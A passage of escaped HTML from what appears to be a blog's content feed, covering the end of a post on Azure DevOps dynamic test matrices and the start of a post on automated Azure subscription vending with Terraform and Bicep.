style=\"color:#66d9ef\"\u003ein\u003c/span\u003e $packages) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  $legName = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;v\u003c/span\u003e$($pkg.version \u003cspan style=\"color:#f92672\"\u003e-replace\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;[.\\-]\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;_\u0026#39;\u003c/span\u003e)\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  $matrix[$legName] = @{ serviceVersion = $pkg.version }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ($matrix.Count \u003cspan style=\"color:#f92672\"\u003e-eq\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  Write-Host \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;##vso[task.logissue type=error]Zero targets found\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  exit \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$matrixJson = $matrix | ConvertTo-Json -Compress\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWrite-Host \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;##vso[task.setvariable variable=matrixJson;isOutput=true]\u003c/span\u003e$matrixJson\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eCritical Constraint:\u003c/strong\u003e The output must be a JSON \u003cstrong\u003eobject\u003c/strong\u003e \u003ccode\u003e{...}\u003c/code\u003e, not an array \u003ccode\u003e[...]\u003c/code\u003e. Ensure the \u003ccode\u003eProject Collection Build Service\u003c/code\u003e account has \u0026ldquo;Read\u0026rdquo; access to the artifact feed if querying Azure Artifacts.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"hands-on-self-scaling-browser-suite\"\u003eHands-On: Self-Scaling Browser Suite\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etestTargets\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - { \u003cspan style=\"color:#f92672\"\u003eid: chromium_desktop, browser: chromium, viewport: desktop, enabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - { \u003cspan style=\"color:#f92672\"\u003eid: firefox_desktop, browser: firefox, viewport: desktop, enabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eparallelism\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enumber\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRunTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ each target in parameters.testTargets }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(target.enabled, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#ae81ff\"\u003e${{ target.id }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ target.browser }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eviewport\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ target.viewport }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003emaxParallel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.parallelism }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpx playwright test --browser $(browser) --project $(viewport)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econtinueOnError\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e     \u003cspan style=\"color:#75715e\"\u003e# Publish results even if tests fail\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eBROWSER\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(browser)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eVIEWPORT\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(viewport)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003epublish\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.SourcesDirectory)/playwright-report\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eartifact\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eresults-$(System.JobName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTestSummary\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRunTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003edownload\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecurrent\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epatterns\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;results-*/**\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSeparation:\u003c/strong\u003e Define the matrix in a parameter, not hardcoded in the template. Callers add targets without template PRs.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSanitization:\u003c/strong\u003e Enforce machine-safe \u003ccode\u003eid\u003c/code\u003e properties for leg names.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUnique Artifacts:\u003c/strong\u003e Always use \u003ccode\u003e$(System.JobName)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFail Loudly:\u003c/strong\u003e In the Discovery Job, explicitly fail if zero targets are found to avoid \u0026ldquo;empty\u0026rdquo; success.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/yaml-schema/jobs-job-strategy-matrix\"\u003eMicrosoft Learn: strategy.matrix schema reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/limits\"\u003eMicrosoft Learn: Pipeline limits and constraints\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/azure-pipelines-yaml/blob/master/design/matrix-strategy.md\"\u003eGitHub: Azure Pipelines YAML — matrix strategy design\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/tasks/reference/publish-test-results-v2\"\u003eMicrosoft Learn: PublishTestResults task reference\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n1. **Photorealistic / Cinematic:** A modern tech workspace at night. A row of large monitors on a sleek desk is showing multiple terminal windows with synchronized scrolling text in different colors. The background shows a large window with a bokeh-blurred city view. Professional, high-end atmosphere. Wide landscape format, 16:9 aspect ratio.\n\n2. **3D Abstract / Isometric:** Isometric view of a white platform. A single large data block at one end is shattering into dozens of smaller, perfectly aligned cubes that spread out across the grid in parallel rows. Glowing lines trace the path of each cube. Minimalist and clean aesthetic. Wide landscape format, 16:9 aspect ratio.\n\n3. **Minimalist Vector / Flat:** Clean flat vector illustration of a \"fan-out\" pattern. A single source point on the left branches out into a dense, organized grid of squares on the right. Each square is a different shade of blue or teal. Simple, modern, and professional. Wide landscape format, 16:9 aspect ratio.\n\n4. **Cyber-Industrial / Data Flow:** A high-contrast dark image of a data highway. Bright glowing streams of information are running in parallel lanes, with data \"vehicles\" (glowing nodes) moving at high speed. The lanes are perfectly synchronized. Futuristic and high-energy. Wide landscape format, 16:9 aspect ratio.\n\n5. **Claymorphism / Soft 3D:** Soft 3D rounded blocks arranged in a large matrix. One block is being duplicated multiple times to fill a grid. The lighting is soft and warm, with gentle shadows. A professional palette of blue, gray, and white. Wide landscape format, 16:9 aspect ratio.\n\n6. **Macro Tech Detail:** Extreme macro close-up of a high-density server connector. Focus on the repeating, perfectly aligned rows of pins and the fiber optic bundles. The image represents massive scale and parallelism in a small space. Technical, crisp detail. Wide landscape format, 16:9 aspect ratio.\n--\u003e\n","description":"Combine Azure DevOps compile-time ${{ each }} with runtime strategy.matrix to build self-scaling test suites that adapt to parameters without YAML edits.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/dynamic-matrix-test-strategies/","title":"Dynamic Matrix Strategies: Generating Runtime Tests"},{"content":"\u003cp\u003eA workload team submits a ticket for a new Azure subscription. Three weeks later, a subscription exists — manually created, placed in the wrong management group, and named \u003ccode\u003esubscription-1\u003c/code\u003e because no naming convention was enforced. The team deploys anyway, into an environment with no tags, no diagnostic settings, and no budget alert. This is the default outcome when subscription creation is manual.\u003c/p\u003e\n\u003cp\u003eAs a landing zone scales, the cost of manual onboarding compounds. Every manual entry is a governance gap. Subscription vending replaces this with a PR-based workflow: a workload team submits a YAML file; the pipeline creates the subscription, places it in the hierarchy, deploys the spoke network, and configures the monitoring baseline — consistently, in under 10 minutes.\u003c/p\u003e\n\u003cp\u003eBy the end of this guide, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIdentify which Azure billing account types support programmatic creation.\u003c/li\u003e\n\u003cli\u003eBuild a Terraform vending module that provisions a complete application landing zone.\u003c/li\u003e\n\u003cli\u003eImplement the Bicep \u003ccode\u003esub-vending\u003c/code\u003e AVM pattern module.\u003c/li\u003e\n\u003cli\u003eDesign a PR approval workflow with automated validation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is Post 5 in the \u003ca href=\"/series/azure-platform-engineering-build-an-enterprise-landing-zone-from-scratch/\"\u003eAzure Platform Engineering series\u003c/a\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"subscription-creation-prerequisites\"\u003eSubscription Creation Prerequisites\u003c/h2\u003e\n\u003ch3 id=\"billing-account-compatibility\"\u003eBilling Account Compatibility\u003c/h3\u003e\n\u003cp\u003eProgrammatic creation requires specific billing roles:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eEnterprise Agreement (EA)\u003c/strong\u003e: Requires \u003ccode\u003eAccount Owner\u003c/code\u003e on the EA enrollment account.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMicrosoft Customer Agreement (MCA)\u003c/strong\u003e: Requires \u003ccode\u003eBilling Profile Contributor\u003c/code\u003e or \u003ccode\u003eInvoice Section Owner\u003c/code\u003e. Note that MCA accounts default to a 5-subscription limit and 1 creation per 24 hours. Open a support ticket to increase these quotas early.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePay-As-You-Go\u003c/strong\u003e: Does not support programmatic creation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eTip:\u003c/strong\u003e Find your MCA billing IDs via CLI:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz billing profile list --account-name \u0026lt;account-name\u0026gt; --query \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[].{Name:name, Id:id}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"what-every-vended-subscription-receives\"\u003eWhat Every Vended Subscription Receives\u003c/h2\u003e\n\u003cp\u003eThe vending module is a contract. Every subscription receives:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eHierarchy Placement\u003c/strong\u003e: Correct MG tier (Corp, Online, Sandbox).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMandatory Tags\u003c/strong\u003e: \u003ccode\u003eOwner\u003c/code\u003e, \u003ccode\u003eCostCenter\u003c/code\u003e, \u003ccode\u003eEnvironment\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSpoke Networking\u003c/strong\u003e: VNet with consistent naming and CIDR allocation.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHub Connectivity\u003c/strong\u003e: Bidirectional peering with gateway transit.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eEgress Control\u003c/strong\u003e: UDR routing all \u003ccode\u003e0.0.0.0/0\u003c/code\u003e traffic through the hub Firewall.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBaseline RBAC\u003c/strong\u003e: \u003ccode\u003eContributor\u003c/code\u003e for the workload team.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMonitoring\u003c/strong\u003e: Activity logs forwarded to the platform Log Analytics Workspace.\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch2 id=\"terraform-vending-module\"\u003eTerraform Vending Module\u003c/h2\u003e\n\u003ch3 id=\"subscription-and-propagation\"\u003eSubscription and Propagation\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_subscription\u0026#34; \u0026#34;workload\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  subscription_name \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elocal\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003esubscription_display_name\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  alias             \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elocal\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003esubscription_display_name\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e # Idempotent anchor\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  billing_scope_id  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003ebilling_scope\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  workload          \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e var.environment \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;sandbox\u0026#34; ? \u0026#34;DevTest\u0026#34; : \u0026#34;Production\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Wait for Entra directory replication (90s)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;time_sleep\u0026#34; \u0026#34;wait_for_propagation\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  create_duration \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;90s\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  depends_on      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#66d9ef\"\u003eazurerm_subscription\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eworkload\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"spoke-networking\"\u003eSpoke Networking\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;spoke_vnet\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-res-network-virtualnetwork/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;~\u0026gt; 0.7\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  providers \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e { azurerm \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eazurerm\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eworkload\u003c/span\u003e }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name                \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;vnet-${var.workload_name}-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  address_space       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003evnet_address_prefix\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  subnets \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    workload \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      name                    \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;snet-workload-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      address_prefixes        \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#66d9ef\"\u003ecidrsubnet\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003evnet_address_prefix\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      route_table_resource_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003espoke_udr\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eresource_id\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e # Correct attribute\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"bicep-vending-module\"\u003eBicep Vending Module\u003c/h2\u003e\n\u003cp\u003eUse the official AVM pattern module \u003ccode\u003ebr/public:avm/ptn/lz/sub-vending\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e subVend \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;br/public:avm/ptn/lz/sub-vending:0.3.0\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;subVend-\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eworkloadName\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan 